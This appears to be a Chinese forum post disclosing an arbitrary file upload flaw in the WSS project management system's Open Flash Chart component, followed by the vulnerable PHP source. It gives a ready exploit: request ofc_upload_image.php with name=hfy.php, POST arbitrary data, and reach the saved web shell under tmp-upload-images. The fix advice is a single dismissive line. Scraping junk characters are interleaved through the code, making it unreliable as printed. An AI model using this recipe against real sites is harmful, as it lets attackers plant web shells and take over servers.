WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
; U, a) ?, l* K6 h: n
利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
& A; Y% R+ `3 L# _4 @
Post任意数据
6 U" \0 R9 s# H# d! h保存位置http://localhost/chart/tmp-upload-images/hfy.php

$ z0 o/ M$ b  N9 V. {0 x
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

3 t( o+ \/ f: l1 F3 Z- l9 \<?php

, F: ^" i: b) P$ u//
// In Open Flash Chart -> save_image debug mode, you
6 D2 R: {. E8 Y& w) j  K// will see the 'echo' text in a new window.
& |. R; S7 U9 T) |6 L8 o* _2 W//
9 L8 s+ u) j) {2 a8 P" t5 v: n# E2 {
" X7 [$ h% T% g  b* o8 w; _/*
4 p; E/ _- U# t8 r
print_r( $_GET );
1 y- D6 H  s- n0 J: yprint_r( $_POST );
8 g: n1 o/ }1 V/ ^6 Fprint_r( $_FILES );

' N& I8 U$ b5 A" p. fprint_r( $GLOBALS );
( H# C  p- n5 O. l, z( L3 cprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
5 s. g$ T3 k7 }4 r# O, a2 u5 w3 ?// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

0 n9 e3 W9 a; ^// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

% }& r, H" Y/ ~7 C4 ~echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
5 V2 m$ \" ~6 {9 t$ O// echo $HTTP_RAW_POST_DATA;
2 J. H) Q3 q2 n8 R
5 R! G2 b( _% w: X6 L! {- o5 ]//
+ [. n, Q' b# ^* f- \// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
1 k: {7 E7 T: H4 Q// the raw bits into $HTTP_RAW_POST_DATA
& ?  j  e8 ^8 m- u7 E//

$jfh = fopen($destination, 'w') or die("can't open file");
& O' f, }  X2 p, k0 q+ cfwrite($jfh, $HTTP_RAW_POST_DATA);
2 f" `6 H: f0 gfclose($jfh);

//
* P0 R' r! S! J" |$ y! f" t* @// LOOK:
//
; X% z7 T. s' a, g/ B% S& i/ ]1 [exit();
//
8 F7 G( }( b5 ^! _: o! w// PHP5:
//


3 B' E( Y- v/ `; g  N" f// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
# o: G4 q3 p3 p" Q
1 E5 y$ @9 y6 }, r+ s% Q8 Yif (!file_exists($default_path)) mkdir($default_path, 0777, true);

7 x+ m6 J- Y3 N3 `4 e// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
' n- y4 L0 ]2 A6 S/ q
// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}


?>
' b5 e+ y6 o- |/ t
: W1 r6 p. q- X4 n

; n5 P6 }3 \% i6 I$ S7 C5 y
: W5 g3 u+ b9 y4 U" Y4 W& \7 p5 t
, q& x8 c& e, E; c# A
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
9 n$ F; L4 Z2 g" Y( e5 o2 y+ p3 m! w
4 U/ L5 R) a& {: t" O2 k

$ |* Z, A5 `9 L4 S1 H! ~  j
! S4 e* a4 ^8 R9 X- j7 z